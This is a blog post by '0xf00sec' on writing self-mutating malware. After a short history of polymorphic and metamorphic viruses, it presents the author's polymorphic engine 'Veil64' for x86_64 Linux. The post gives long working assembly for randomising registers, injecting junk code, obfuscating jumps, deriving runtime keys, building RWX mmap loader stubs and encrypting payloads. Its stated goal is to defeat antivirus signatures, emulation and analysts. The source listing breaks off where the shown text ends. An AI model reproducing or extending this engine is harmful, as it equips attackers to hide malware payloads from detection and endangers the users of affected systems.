0xf00sec ⋮ ⋮ 11/04/2022

In the beginning, there was the signature. A simple string of bytes that uniquely identified a piece of malware. Those were simpler times - append your virus to a file, patch the entry point, and you're done. The AV industry responded with signature databases, and for a while, the game was predictable.

Today's post we're gonna talk about writing self-mutating malware, how to build your own polymorphic engine, and a bit on metamorphic code too. Self-mutation in malware represents one of the most elegant solutions to the detection problem. Instead of hiding what you are, you become something different each time you reproduce. It's digital evolution in its purest form.

The concepts we'll explore transcend any specific implementation. While we'll use concrete real examples I developed and principles, the real value lies in understanding the underlying theory that makes mutation possible.

Let's roll it back to the roots. Early Vx just trashed files straight overwrite, chaos. Some ran the legit program first, then dropped their load. AV showed up fast, scanning for sigs.

Vxers moved too. Started encrypting code. Payload stayed wrapped, only unpacked at runtime. AV caught on, went after decryptors. So Vxers started flipping routines on the fly. Some strains even rotated decryptors automatically. That breed got tagged **oligomorphic**.

From around '85 to '90, AV was winning with static signature scanning simple string matching, fixed byte patterns, easy kills once a sample dropped. But by the early '90s, things shifted. Viruses started encrypting their bodies, leaving only a decrypt stub exposed. That stub became the AV's new target, which led to wildcards and heuristic scanning.

Then came the **polymorphics**. Viruses began generating new decryptors automatically either at creation or every infection. Each instance got its own encryption and decryption routines, shuffling machine code to stay ahead of scanners. That was the 1995-2000 era variable decrypt routines, same virus with infinite appearances. Dark Avenger's MtE engine turned the game sideways.

After that, **metamorphic** viruses hit the scene no encryption needed. Instead, the entire body rewrote itself on each infection. Code structure, control flow, even register usage all shifted, but the payload stayed the same. From 2000 to 2005, metamorphics like Zmist and Simile raised the bar, leaving no fixed decryption routines to hunt. Just straight code mutation.

Metamorphics mutate *everything*, not just decryptors. Born from polymorphics, but leveled up beyond encryption into full code reshaping. Detection? Brutal. And writing them? Hard as hell, especially in assembly. This ain't no walk in the park.

Overview

So, what's the move? When it comes to self-modifying loaders, you got options. One way: keep it minimal and dirty. A small, fast loader that mutates just enough few tweaks here, quick shuffle there to slip past scanners without raising alarms. Code stays lean and rough, but it's solid.

Or, go full metamorphic. The loader doesn't just tweak itself; it tears down its guts and rebuilds from scratch. New layout, scrambled instructions, fresh encryption every run. Reverse engineers and AV catch one version next one's a complete stranger.

This ain't magic. Keeping it stable through every mutation is a nightmare. You gotta bake in checks, count instructions, verify jumps, sanity-check every change, or you crash and burn. The code grows out of control, making it useless.

Before we get into the techniques, we gotta lock in what mutation *really* means when we're talking about executable code. It's not just flipping bytes it's about the link between form and function, and how far you can stretch that before the thing breaks.

— The Essence of Identity —

What actually makes a program what it is? The instruction order? Register usage? Memory layout? Or is it something deeper something like intent?

Mutation says the identity isn't in how the code *looks*, but in what it *does*. If two binaries spit out the same outputs for the same inputs, they're functionally the same even if the assembly's a totally different.

```
Version A:              Version B:              Version C:
mov eax, 0              xor eax, eax            sub eax, eax
inc ebx                 add ebx, 1              lea ebx, [ebx+1]
```

```
Bytes:                  Bytes:                  Bytes:
B8 00 00 00 00 43       31 C0 83 C3 01          29 C0 8D 5B 01
```

Three completely different byte patterns, identical behavior. This was my "aha" moment - the realization that drove everything I built afterward.

The fundamental insight: a program's identity isn't its bytes, it's its behavior. If I could generate infinite byte patterns that produce identical behavior, I could make signature-based detection impossible.

But this raised harder questions:

- How do you systematically generate equivalent code?
- How do you ensure correctness across mutations?
- How do you make the variations truly unpredictable?

These questions shaped the design of both my engines, I built to explore different approaches to the mutation problem, Let's call em Veil64 and Morpheus

`Veil64` is Polymorphic code generator that creates infinite variations of decryption routines. Same function, infinite forms. and `Morpheus` file infector that literally rewrites its own code during execution.

> That idea right there? That's the core. Everything else builds on it, if you can't hide what you do, make how you do it unpredictable.

Let's talk signatures. Those are byte patterns AV hunts digital footprints screaming "bad." Strings, code snippets, hashes anything that flags malware. Encryption's your best friend here, scrambling those markers so AV comes up empty.

Then there's the payload, the real nasty inside. It doesn't run solo. It's glued to the stub the small piece that decrypts and runs the payload in memory. Payload's encrypted, so AV can't touch it directly. They go after the stub, but the stub's simple enough to keep twisting and morphing, dodging detection every time.

That flips the game. It's a one-to-many fight, and that math favors the mutator. Every new variant's a chance to break old detection rules, burn the sigs, stay ghost.

> "What starts as polymorphic finishes as metamorphic."

— Levels of Mutation —

Mutation hits across layers, not just surface tweaks, but deep structure shifts.

First, **syntactic mutation**. This is the skin. Swap instructions that do the same thing, juggle registers, reorder ops looks different, runs the same.

```
Original:    mov eax, [ebx+4]
Mutated:     push ebx
                 add ebx, 4
             mov eax, [ebx]
             sub ebx, 4
             pop ebx
```

Both load the value at [ebx+4] into eax, but use completely different instruction sequences.

Then you've got **structural mutation**. Deeper cut. Control flow rewired, data structures flipped, maybe even swap the whole algorithm out for a twin that walks a different path to the same end.

At the core sits **semantic mutation**. This is the deep. Break functions down, reshuffle logic into behavioral equivalents, all while keeping the intent intact.

— The Conservation Principle —

No matter how aggressive the mutation, one constraint remains non-negotiable: the program's semantic behavior must be preserved. The *what* its functional output stays fixed. Only the *how* its internal mechanics gets rewritten.

The genotype the underlying code structure is free to shift, mutate, obfuscate. The phenotype the observable behavior must remain invariant. Every mutation technique operates within that boundary.

The Naive Way

Polymorphism is mutation at its purest. It's saying the same thing a thousand different ways. Like a chameleon with a mission core behavior locked, everything else in flux. No fixed identity, just endless variation.

My first real shot at breaking signatures was `Veil64` a polymorphic code generator that spits out infinite takes on the same decryption logic. Simple goal: encrypt the payload differently every time, and make sure the decryptor never looks the same twice.

— The Core Challenge —

Build code that nails decryption every time, but never looks the same twice. Each run had to stay tight, fast, and clean, runs efficiently without obvious patterns, and resists both static and dynamic analysis

So I started simple two stages, and understanding this split is crucial to getting why it's so effective. First, there's the stub a minimal piece of code that handles memory allocation and decrypts the embedded engine. Then there's the engine itself, which is the polymorphic decryptor that actually processes your payload.

```
┌────────────────┐
│   Stub Code    │   (119-200 bytes)
├────────────────┤
│ Encrypted Engine│  (176-300 bytes)
├────────────────┤
│   Padding      │
└────────────────┘
```

Why the two-stage approach? Because it lets us encrypt the polymorphic engine itself. The stub is relatively small and simple, so even with some variation, it has a limited signature space. But the engine that's where all the real polymorphic magic happens. By encrypting it and embedding it in the stub, we get to hide all that complex, variable code until runtime.

Here's the flow: you call genrat() with a buffer, size, and seed key. The engine first generates runtime keys using multiple entropy sources RDTSC for hardware timing, stack pointers for process variation, RIP for position-dependent randomness. Then it builds the polymorphic engine with random register allocation, algorithm selection from four different variants, and intelligent garbage code injection.

Next comes stub generation. This creates multiple variants of the mmap syscall setup, handles RIP-relative addressing for position independence, and embeds the encrypted engine. Finally, everything gets encrypted and assembled into executable code.

The beauty is that both the stub and the engine vary independently. Even if someone signatures the stub variants, the encrypted engine inside is different every time. And even if they somehow extract and analyze the engine, the next generation uses completely different registers and algorithms.

— The Four Pillars of Polymorphism — _Never Use the Same Registers Twice

Hardcoded registers are signature bait. If your decryptor always leans on EAX for the counter and EBX for the data pointer, that's a dead giveaway. Patterns like that get flagged fast. So the engine randomizes register usage on every generation.

But it’s not just picking random regs out of a hat. The selection process avoids conflicts, skips ESP to prevent stack breakage, and makes sure no register gets assigned to multiple roles. Here’s how it handles that under the hood:

```
get_rr:
    call next_random
    and rax, 7
    cmp al, REG_RSP        ; Never use stack pointer
    je get_rr
    cmp al, REG_RAX        ; Avoid RAX conflicts
    je get_rr
    mov [rel reg_base], al ; Store base register

.retry_count:
    call next_random
    and rax, 7
    cmp al, REG_RSP
    je .retry_count
    cmp al, [rel reg_base] ; Ensure no conflicts
    je .retry_count
    mov [rel reg_count], al
```

This process repeats for the key register and all the junk registers used in garbage code. The math works out to 210 unique register combinations before we even start thinking about algorithms or garbage injection. That’s 210 different ways to do the exact same register operations, each one looking completely different to a signature scanner.

One variant might use RBX for data, RCX for the counter, and RDX for the key. The next one flips to RSI for data, RDI for the counter, and RBX for the key. Another one might use the extended registers R8, R9, R10. Every combination produces functionally identical code with completely different opcodes.

— 4 Ways to Say the Same Thing —

Register randomization is just the starting point. The real depth comes from algorithm polymorphism. Instead of sticking to a single decryption routine, we cycles through four equivalent algorithms same output, completely different instruction flow.

This isn’t just swapping XOR for ADD. Each variant is carefully built to preserve correctness while maximizing signature spread.

Algorithm 0 runs ADD > ROL > XOR: add the key to the data, rotate left 16 bits, then XOR with the key.
Algorithm 1 flips it to XOR > ROL > XOR.
Algorithm 2 takes a different path with SUB > ROR > XOR.
Algorithm 3 goes XOR > ADD > XOR.

All four hit the same result, but the instruction sequences and opcode patterns are completely different.

```
; Algorithm 0: ADD/ROL/XOR
add [data_ptr], key_reg      ; Add key to data
rol qword [data_ptr], 16     ; Rotate left 16 bits
xor [data_ptr], key_reg      ; XOR with key

; Algorithm 1: XOR/ROL/XOR
xor [data_ptr], key_reg      ; XOR with key
rol qword [data_ptr], 16     ; Rotate left 16 bits
xor [data_ptr], key_reg      ; XOR again

; Algorithm 2: SUB/ROR/XOR
sub [data_ptr], key_reg      ; Subtract key
ror qword [data_ptr], 16     ; Rotate right 16 bits
xor [data_ptr], key_reg      ; XOR with key

; Algorithm 3: XOR/ADD/XOR
xor [data_ptr], key_reg      ; XOR with key
add [data_ptr], key_reg      ; Add key
xor [data_ptr], key_reg      ; XOR again
```

Each algorithm has a matching inverse used during encryption. Encrypt with XOR → ROR → SUB, and you decrypt with ADD > ROL > XOR. The math cancels cleanly, but the instruction flow doesn't. Opcode patterns, instruction lengths, register usage it all shifts. To a signature scanner, they look like entirely different routines.

— Smart Trash —

Here's where most polymorphic engines fail they spam random bytes or drop obvious NOP sleds that basically scream *"I'm malware."* That's low-tier. Real polymorphism uses garbage that looks intentional, blends in, mimics legit compiler output.

Garbage injection isn't random it's structured. It uses `PUSH/POP` pairs with no net effect, but they *look* like register preservation. `XOR reg, reg` mimics zeroing a common init pattern. `MOV reg, reg` copies that go nowhere, but match what compilers emit during register shuffling.

```
trash:
    call yes_no
    test rax, rax
    jz .skip_push_pop

    ; Generate PUSH with random register
    movzx rax, byte [rel junk_reg1]
    add al, PUSH_REG
    stosb
```

```
    ; Generate POP with different register
    movzx rax, byte [rel junk_reg2]
    add al, POP_REG
    stosb
```

This is a very basic and simple example some engines go way further then this but the trick is making it look like something a real dev wrote. A `PUSH RAX` followed by `POP RBX` passes as reg saving and transfer. `XOR RAX, RAX` looks like a legit init. `MOV RAX, RAX` feels like a no-op leftover from an optimizer. None of it does anything functional, but all of it blends.

Junk code injection is also inconsistent on purpose. Sometimes you get a heavy dose, sometimes just traces. Sometimes it's packed into a block, sometimes it's scattered across the loop. There's no fixed garbage section to isolate just code that looks normal, every time.

— Breaking Linear Analysis —

Static analysis thrives on linear flow walks through the code, builds graphs, finds patterns. So we break that. Random jumps get thrown in to skip over garbage and kill the straight-line logic.

The jump generation's not loud. Sometimes it's a short jump 2 bytes. Sometimes it's a long one 5 bytes. Could be jumping over a single byte, could be a dozen. The garbage it skips? Random every time. Even if the analyzer follows the jumps, it lands on his ass every pass.

```
gen_jmp:
    call yes_no
    test rax, rax
    jz .short_jmp

    ; Long jump variant
    mov al, JMP_REL32
    stosb
    mov eax, 1              ; Jump over 1 byte
    stosd
    call next_random        ; Random garbage byte
    and al, 0xFF
    stosb
    jmp .jmp_exit

.short_jmp:
    ; Short jump variant
    mov al, JMP_SHORT
    stosb
    mov al, 1
    stosb
    call next_random
```

```
    and al, 0xFF
    stosb
```

This generates unpredictable control flow that disrupts both static and dynamic analysis. Static tools face non-linear instruction streams mixed with random data. Dynamic tools hit varying execution paths every run, complicating consistent behavior profiling.

The jumps do double duty they also mimic compiler output. Real compiled code is full of branches, jumps, and irregular flow. Injecting our own adds that natural complexity, helping the code blend in seamlessly.

— The Entropy Problem —

Hardcoded keys or constants are a trap. I learned that the hard way early versions had a constant `0xDEADBEEF` embedded in every variant. No matter how much other code shifted, that fixed value was an instant red flag.

The fix is runtime key generation. No constants, no repeats, no patterns you can pin down. Every key is built fresh each run, pulling from multiple entropy sources that vary between executions, processes, and machines.

```
gen_runtm:
    rdtsc                  ; CPU timestamp counter
    shl rdx, 32
    or rax, rdx            ; Full 64-bit timestamp
    xor rax, [rel key]     ; Mix with user input

    mov rbx, rsp           ; Stack pointer entropy
    xor rax, rbx

    call .get_rip          ; Current instruction pointer
.get_rip:
    pop rbx
    xor rax, rbx

    ; Dynamic transformations - no fixed constants
    rol rax, 13
    mov rbx, rax
    ror rbx, 19
    xor rbx, rsp           ; Stack-dependent transformation
    add rax, rbx

    mov rbx, rax
    rol rbx, 7
    not rbx
    xor rax, rbx           ; Bitwise complement mixing
```

```
    mov [rel stub_key], rax
```

Entropy comes from multiple sources. RDTSC provides high-resolution timing that changes every microsecond. The stack pointer varies between processes and function calls. RIP introduces position-dependent randomness thanks to ASLR. The user key adds input-driven variability.

The real strength lies in how these values are combined. Instead of simple XORs, they're rotated, complemented, and mixed with stack-based values. Each transformation depends on the current state, creating a chain of dependencies that results in a final key that's truly unpredictable.

— Randomness Matters —

Good polymorphism depends on solid randomness. Many engines rely on basic linear congruential generators or just increment counters both produce predictable patterns that get flagged. I prefer XorShift PRNGs. They're fast, have a long period (2^64−1), and pass strong statistical randomness tests, delivering high-quality pseudorandom output without repeating anytime soon.

```
next_random:
    mov rax, [rel seed]
    mov rdx, rax
    shl rdx, 13             ; Left shift 13
    xor rax, rdx            ; XOR
    mov rdx, rax
    shr rdx, 17             ; Right shift 17
    xor rax, rdx            ; XOR
    mov rdx, rax
    shl rdx, 5              ; Left shift 5
    xor rax, rdx            ; XOR
    mov [rel seed], rax
```

Shift it left 13 bits, then XOR with the original seed. Take that and shift right 17 bits, XOR again. Finally, shift left 5 bits and XOR once more. pretty simple but fast However for decisions like register allocation or algorithm choice, you need randomness that won't inadvertently produce detectable patterns.

ASLR, so code loads at different addresses each run. Hardcoding absolute addresses breaks your polymorphic decryptor when it lands somewhere unexpected. The fix is RIP-relative addressing offsets calculated from the current instruction pointer.

The catch: RIP points to the *next* instruction, not the current one. So when generating a LEA instruction that's 7 bytes long, you have to factor in that RIP will be 7 bytes ahead by the time it executes.

```
; Calculate RIP-relative offset to embedded data
mov rbx, rdi                ; Current position
add rbx, 7                  ; RIP after LEA instruction
sub rax, rbx                ; Calculate offset
```

```
; Generate: lea rsi, [rip + offset]
mov al, 0x48                ; REX.W
stosb
mov al, 0x8D                ; LEA opcode
stosb
mov al, 0x35                ; ModRM for RIP-relative
stosb
stosd                       ; Store calculated offset
```

This offset calculation happens during code generation, not at runtime. Since we know where the encrypted engine data and the LEA instruction will be placed, we can compute the exact offset needed. Resemble compiler output. x64 compilers rely heavily on RIP-relative addressing for globals and string literals, so matching that pattern helps our generated code blend in seamlessly.

— Machine Code On The Fly —

This is where it gets real. You can't just rearrange pre-written assembly and call it polymorphism. The engine generates raw x64 machine code on the fly, building every instruction byte by byte. Opcodes and operands are calculated dynamically, depending on the current register allocation and chosen algorithm.

Take a simple XOR instruction, like `xor [rbx], rdx`. The engine has to translate that into machine code dynamically, adjusting for whichever registers got randomly assigned that run.

```
gen_xor_mem_key:
    call gen_jmp            ; Maybe insert obfuscation
    mov ax, XOR_MEM_REG     ; XOR opcode (0x31)
    mov dl, [rel reg_key]   ; Get key register number
    shl dl, 3               ; Shift for ModRM encoding
    mov ah, [rel reg_base]  ; Get base register
    add ah, dl              ; Combine for ModRM byte
    stosw                   ; Write opcode + ModRM
```

The ModRM byte is where the real work happens. In x64, it encodes which registers are used in an instruction: bits 7-6 for addressing mode, bits 5-3 for the source register, and bits 2-0 for the destination register. By computing this byte dynamically, the engine can produce the same operation with any register combination.

For example, if RBX is the base and RDX the key, you get one ModRM byte. Swap those out for RSI and RCX, and you get a completely different byte. Same logic, different machine code, different signature.

The stub needs to call mmap to allocate executable memory, which means setting RAX to 9. Simple, right? Just `mov rax, 9` and you're done. Except that creates a signature. Every variant would have the same instruction sequence for syscall setup.

So the stub generation includes multiple methods for setting up syscall numbers. Method 0 is the direct approach: `mov rax, 9`. Method 1 uses XOR and ADD: `xor rax, rax` followed by `add rax, 9`.

Method 2 uses decrement: `mov rax, 10` then `dec rax`. Method 3 uses bit shifting: `mov rax, 18` then `shr rax, 1`.

```
; Method 0: Direct load
mov rax, 9

; Method 1: XOR + ADD
xor rax, rax
add rax, 9

; Method 2: Decrement
mov rax, 10
dec rax

; Method 3: Shift
mov rax, 18
shr rax, 1
```

Each method results in RAX holding 9, but the instruction sequences vary entirely different opcodes, lengths, and register usage. Signature scanners see four distinct ways to set up the same syscall, making detection rules unreliable.

This polymorphic approach applies to all syscall parameters as well. Whether it's setting RDI to 0 (address), RSI to size, or RDX to protection flags, each gets the same treatment to evade pattern matching.

— Performance and Scaling —

Base generation takes about 9 to 13 milliseconds per variant on average, yielding 50,000 to 75,000 variants per minute enough to break signature-based detection. The speed isn't higher because each variant undergoes register renaming, flow randomization, injection of intelligently crafted garbage code, and anti-debug checks.

Variance in generation time is around ±3 to 4 milliseconds, intentionally added to avoid predictability, since consistent timing leads to detection. The engine varies instruction sequencing, junk block sizes, and encryption rounds to maintain this jitter.

Memory footprint is around 340 to 348 KB on static load, far from minimal 4 KB toy engines. This size includes precomputed transform tables, runtime mutation logic, and anti-emulation traps. Per variant memory usage stays flat, with no leaks or incremental growth, thanks to aggressive reuse of scratch buffers, hard resets of register states, and zero dynamic allocations during generation.

Code size varies between 180 bytes and 1.2 KB. The smallest variants (180–400 bytes) focus on lean algorithms for fast execution with low evasion. Mid-sized variants (400–800 bytes) balance junk code with functionality for stealthier persistence. The largest variants (800 bytes to 1.2 KB) add maximum complexity through fake branches and FPU junk, designed to bait AV engines.

— What Variants Look Like —

```
Variant #1: Size 335, Key 0x4A4BDC5C3AEAC0AD
48 C7 C0 0A 00 00 00    mov rax, 10
48 FF C8                dec rax
50                      push rax
58                      pop rax
90                      nop
48 31 FF                xor rdi, rdi
...

Variant #2: Size 368, Key 0x6BAAA583D73FA32B
50                      push rax
58                      pop rax
50                      push rax
58                      pop rax
48 31 C0                xor rax, rax
48 83 C0 09             add rax, 9
...

Variant #3: Size 385, Key 0x5C3F1EDF85C0D55E
90                      nop
90                      nop
50                      push rax
58                      pop rax
48 C7 C0 09 00 00 00    mov rax, 9
...
```

Look at the differences. Variant #1 sets RAX by loading 10 then decrementing. Variant #2 starts with PUSH/POP garbage, then uses XOR/ADD. Variant #3 begins with NOPs, adds different garbage, and uses direct loading. Same outcome (RAX = 9), completely different methods.

Size variation varies widely. These three are within 50 bytes of each other by chance. The engine can produce anything from compact 180-byte variants to large 1200-byte ones depending on the amount of trash and obfuscation included.

The engine splits variants into three categories based on structure and complexity. Compact builds land between 295 and 350 bytes with minimal garbage for speed. Balanced variants stretch to 400, blending obfuscation with stability. Complex ones go up to 500 bytes, loaded with polymorphic tricks and anti-analysis layers.

Four algorithms combined with 210 register permutations yield 840 base variants before adding garbage code or control flow obfuscation. Introducing variable garbage injection, ranging from none to dozens of junk instructions alongside diverse jump patterns and multiple stub setups for each syscall parameter expands the variant space to millions.

The critical point isn't just volume, but functional equivalence paired with signature diversity. Every variant decrypts the payload correctly using sound operations, yet each looks distinct to signature-based detection.

Effective polymorphism hinges on maximizing signature diversity without compromising correctness. Generating billions of variants means nothing if many fail or share detectable patterns. Both correctness and scale in diversity are essential.

— Anti-Analysis by Design —

Emulation engines struggle with variable timing, so garbage code injection creates unpredictable execution durations. Stack-dependent key generation causes the same variant to behave differently across process contexts. Dependencies on hardware timestamps complicate emulation further, requiring accurate RDTSC simulation.

Static analysis tools falter without fixed constants or strings there's nothing to grep or fingerprint. Polymorphic control flow disrupts linear analysis, and embedding the encrypted engine hides core logic until runtime.

Dynamic analysis faces confusion from legitimate-looking garbage code that's functionally neutral. Multiple execution paths produce different behavioral patterns on each run. Runtime key derivation guarantees unique keys every execution, even if tracing succeeds.

Anti-analysis features are integral, not optional. Each polymorphic method both evades signatures and complicates analysis: register randomization hinders static inspection, algorithm variation thwarts behavioral detection, and garbage injection wastes analyst time while generating false positives.

`Veil.s`

```
;-----------------------------------------------------------
;   [ V E I L 6 4 ]
;-----------------------------------------------------------
;   Type:        Polymorphic Engine / Stub Generator
;   Platform:    x86_64 Linux
;   Size:        ~4KB Engine + Custom Stub
;                Runtime shellcode obfuscation, encryption,
;                and stealth execution via mmap + RIP tricks.
;
;                          0xf00sec
;-----------------------------------------------------------

section .text

global genrat
global exec_c
global _start
```

```
; x64 opcodes
%define PUSH_REG          0x50
%define POP_REG           0x58
%define ADD_MEM_REG       0x01
%define ADD_REG_IMM8      0x83
%define ROL_MEM_IMM       0xC1
%define XOR_MEM_REG       0x31
%define TEST_REG_REG      0x85
%define JNZ_SHORT         0x75
%define JZ_SHORT          0x74
%define CALL_REL32        0xE8
%define JMP_REL32         0xE9
%define JMP_SHORT         0xEB
%define RET_OPCODE        0xC3
%define NOP_OPCODE        0x90
%define JNZ_LONG          0x0F85
%define FNINIT_OPCODE     0xDBE3
%define FNOP_OPCODE       0xD9D0

; register encoding
%define REG_RAX           0
%define REG_RCX           1
%define REG_RDX           2
%define REG_RBX           3
%define REG_RSP           4
%define REG_RBP           5
%define REG_RSI           6
%define REG_RDI           7

section .data

stub_key:           dq 0xDEADBEEF            ; runtime key
sec_key:            dq 0x00000000
engine_size:        dq 0
dcr_eng:            dq 0
stub_sz:            dq 0
sz:                 dq 0

seed:                dq 0                     ; PRNG state
p_entry:             dq 0                     ; output buffer
key:                 dq 0                     ; user key
reg_base:            db 0                     ; selected registers
reg_count:           db 0
reg_key:             db 0
```

```
junk_reg1:          db 0                        ; junk registers
junk_reg2:          db 0
junk_reg3:          db 0
prolog_set:         db 0
fpu_set:            db 0
jmp_back:           dq 0
alg0_dcr:       db 0                            ; algorithm selector

align 16
entry:
times 4096 db 0                                 ;  engine storage
exit:

section .text

; main generator entry point
genrat:
    push rbp
    mov rbp, rsp
    sub rsp, 64
    push rbx
    push r12
    push r13
    push r14
    push r15

    test rdi, rdi                     ; validate params
    jz .r_exit
    test rsi, rsi
    jz .r_exit
    cmp rsi, 1024                     ; min buffer size
    jb .r_exit

    mov [rel p_entry], rdi
    mov [rel sz], rsi
    mov [rel key], rdx

    call gen_runtm                    ; generate runtime keys

    lea rdi, [rel entry]
    mov r12, rdi
    call gen_reng                     ; build  engine

    mov rax, rdi                      ; calculate engine size
```

```
    sub rax, r12
    mov [rel engine_size], rax

    mov rdi, [rel p_entry]
    call unpack_stub                    ; build stub
    call enc_bin                        ; encrypt payload

    mov rax, [rel stub_sz]              ; total
    test rax, rax
    jnz .calc_sz
    mov rax, rdi
    sub rax, [rel p_entry]

.calc_sz:
    pop r15
    pop r14
    pop r13
    pop r12
    pop rbx
    add rsp, 64
    pop rbp
    ret

.r_exit:
    xor rax, rax
    pop r15
    pop r14
    pop r13
    pop r12
    pop rbx
    add rsp, 64
    pop rbp
    ret

; generate  engine
gen_reng:
    push rdi
    push rsi
    push rcx

    rdtsc
    xor rax, [rel key]
    mov rbx, 0x5DEECE66D
    xor rax, rbx
```

```
    mov rbx, rax
    shl rbx, 13
    xor rax, rbx
    mov rbx, rax
    shr rbx, 17
    xor rax, rbx
    mov rbx, rax
    shl rbx, 5
    xor rax, rbx
    xor rax, rsp
    mov [rel seed], rax

    push rdi                        ; clear state
    lea rdi, [rel reg_base]
    mov rcx, 16
    xor rax, rax
    rep stosb
    pop rdi

    pop rcx
    pop rsi
    pop rdi

    call get_rr                     ; select random registers
    call set_al                     ; pick decrypt algorithm
    call gen_p                      ; generate prologue

    call yes_no                     ; random junk insertion
    test rax, rax
    jz .skip_pr
    call gen_trash

.skip_pr:
    call trash

    call yes_no
    test rax, rax
    jz .skip_dummy
    call gen_dummy

.skip_dummy:
    call gen_dec                    ; main decrypt loop

    call yes_no
```

```
    test rax, rax
    jz .skip_prc
    call gen_trash

.skip_prc:
    mov al, RET_OPCODE
    stosb

    cmp qword [rel jmp_back], 0     ; conditional jump back
    je .skip_jmp

    mov ax, JNZ_LONG
    stosw
    mov rax, [rel jmp_back]
    sub rax, rdi
    sub rax, 4
    stosd

.skip_jmp:
    call trash
    mov al, RET_OPCODE
    stosb
    ret

; encrypt generated engine
enc_bin:
    push rdi
    push rsi
    push rcx
    push rax
    push rbx

    lea rdi, [rel entry]
    mov rcx, [rel engine_size]

    ; validate engine size
    test rcx, rcx
    jz .enc_done
    cmp rcx, 4096
    ja .enc_done
    cmp rcx, 10
    jb .enc_done

    ; encrypt in place
```

```
    mov rax, [rel stub_key]
    mov rsi, rcx

.enc_loop:
    test rsi, rsi
    jz .enc_done
    xor byte [rdi], al
    rol rax, 7
    inc rdi
    dec rsi
    jmp .enc_loop

.enc_done:
    pop rbx
    pop rax
    pop rcx
    pop rsi
    pop rdi
    ret

; build stub wrapper
unpack_stub:
    push rbx
    push rcx
    push rdx
    push r12

    mov r12, rdi

    call bf_boo                     ; bounds check
    jae .stub_flow

    call stub_trash
    call gen_stub_mmap
    call stub_decrypt

    mov rax, rdi
    sub rax, r12
    mov [rel stub_sz], rax

    call stub_trash

    ; update size after junk
    mov rax, rdi
```

```
    sub rax, r12

    ; check space for encrypted engine
    mov rbx, rax
    add rax, [rel engine_size]
    cmp rax, [rel sz]
    ja .stub_flow

    ; embed encrypted engine
    lea rsi, [rel entry]
    mov rcx, [rel engine_size]
    test rcx, rcx
    jz .skip_embed
    rep movsb

.skip_embed:
    ; final size calculation
    mov rax, rdi
    sub rax, r12
    mov [rel stub_sz], rax

    pop r12
    pop rdx
    pop rcx
    pop rbx
    ret

.stub_flow:
    xor rax, rax
    mov [rel stub_sz], rax
    pop r12
    pop rdx
    pop rcx
    pop rbx
    ret

; generate stub junk
stub_trash:
    call next_random
    and rax, 7                        ; 0-7 junk instructions
    mov rcx, rax
    test rcx, rcx
    jz .no_garbage
```

```
.trash_loop:
    call next_random
    and rax, 3                      ; choose junk type
    cmp al, 0
    je .gen_nop
    cmp al, 1
    je .gen_push_pop
    cmp al, 2
    je .gen_xor_self
    jmp .gen_mov_reg

.gen_nop:
    mov al, 0x90
    stosb
    jmp .next_garbage

.gen_push_pop:
    mov al, 0x50                    ; push rax
    stosb
    mov al, 0x58                    ; pop rax
    stosb
    jmp .next_garbage

.gen_xor_self:
    mov al, 0x48                    ; rex.w
    stosb
    mov al, 0x31                    ; xor rax,rax
    stosb
    mov al, 0xC0
    stosb
    jmp .next_garbage

.gen_mov_reg:
    mov al, 0x48                    ; rex.w
    stosb
    mov al, 0x89                    ; mov rax,rax
    stosb
    mov al, 0xC0
    stosb

.next_garbage:
    loop .trash_loop

.no_garbage:
```

```
    ret

; generate mmap syscall stub
gen_stub_mmap:
    ;  mmap setup
    call next_random
    and rax, 3                          ; choose method
    cmp al, 0
    je .mmap_method_0
    cmp al, 1
    je .mmap_method_1
    cmp al, 2
    je .mmap_method_2
    jmp .mmap_method_3

.mmap_method_0:
    ; mov rax, 9
    mov al, 0x48
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC0
    stosb
    mov eax, 9                          ; mmap syscall
    stosd
    jmp .mm_continue

.mmap_method_1:
    ; xor rax,rax; add rax,9
    mov al, 0x48
    stosb
    mov al, 0x31
    stosb
    mov al, 0xC0
    stosb
    mov al, 0x48
    stosb
    mov al, 0x83
    stosb
    mov al, 0xC0
    stosb
    mov al, 9
    stosb
    jmp .mm_continue
```

```
.mmap_method_2:
    ; mov rax,10; dec rax
    mov al, 0x48
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC0
    stosb
    mov eax, 10
    stosd
    mov al, 0x48
    stosb
    mov al, 0xFF
    stosb
    mov al, 0xC8
    stosb
    jmp .mm_continue

.mmap_method_3:
    ; mov rax,18; shr rax,1
    mov al, 0x48
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC0
    stosb
    mov eax, 18
    stosd
    mov al, 0x48
    stosb
    mov al, 0xD1
    stosb
    mov al, 0xE8
    stosb

.mm_continue:
    call stub_trash

    ; rdi setup
    call next_random
    and rax, 1
    test rax, rax
    jz .rdi_method_0
```

```
    ; mov rdi,0
    mov al, 0x48
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC7
    stosb
    mov eax, 0
    stosd
    jmp .rdi_done

.rdi_method_0:
    ; xor rdi,rdi
    mov al, 0x48
    stosb
    mov al, 0x31
    stosb
    mov al, 0xFF
    stosb

.rdi_done:

    ; mov rsi,4096
    mov al, 0x48
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC6
    stosb
    mov eax, 4096
    stosd

    ; mov rdx,7 (rwx)
    mov al, 0x48
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC2
    stosb
    mov eax, 7
    stosd

    ; mov r10,0x22 (private|anon)
```

```
    mov al, 0x49
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC2
    stosb
    mov eax, 0x22
    stosd

    ; mov r8,-1
    mov al, 0x49
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC0
    stosb
    mov eax, 0xFFFFFFFF
    stosd

    ; mov r9,0
    mov al, 0x4D
    stosb
    mov al, 0x31
    stosb
    mov al, 0xC9
    stosb

    ; syscall
    mov al, 0x0F
    stosb
    mov al, 0x05
    stosb
    ret

; generate decryption stub
stub_decrypt:
    ; mov rbx,rax (save mmap result)
    mov al, 0x48
    stosb
    mov al, 0x89
    stosb
    mov al, 0xC3
    stosb
```

```
    ; calculate RIP-relative offset to embedded engine
    mov r15, rdi

    mov rax, [rel p_entry]
    mov rdx, [rel stub_sz]
    test rdx, rdx
    jnz .usszz
    ; fallback calculation
    mov rdx, rdi
    sub rdx, [rel p_entry]
    add rdx, 100

.usszz:
    add rax, rdx                    ; engine position

    ; RIP-relative calculation
    mov rbx, r15
    add rbx, 7                      ; after LEA instruction
    sub rax, rbx

    ; lea rsi,[rip+offset]
    mov al, 0x48
    stosb
    mov al, 0x8D
    stosb
    mov al, 0x35
    stosb
    stosd

    ; mov rcx,engine_size
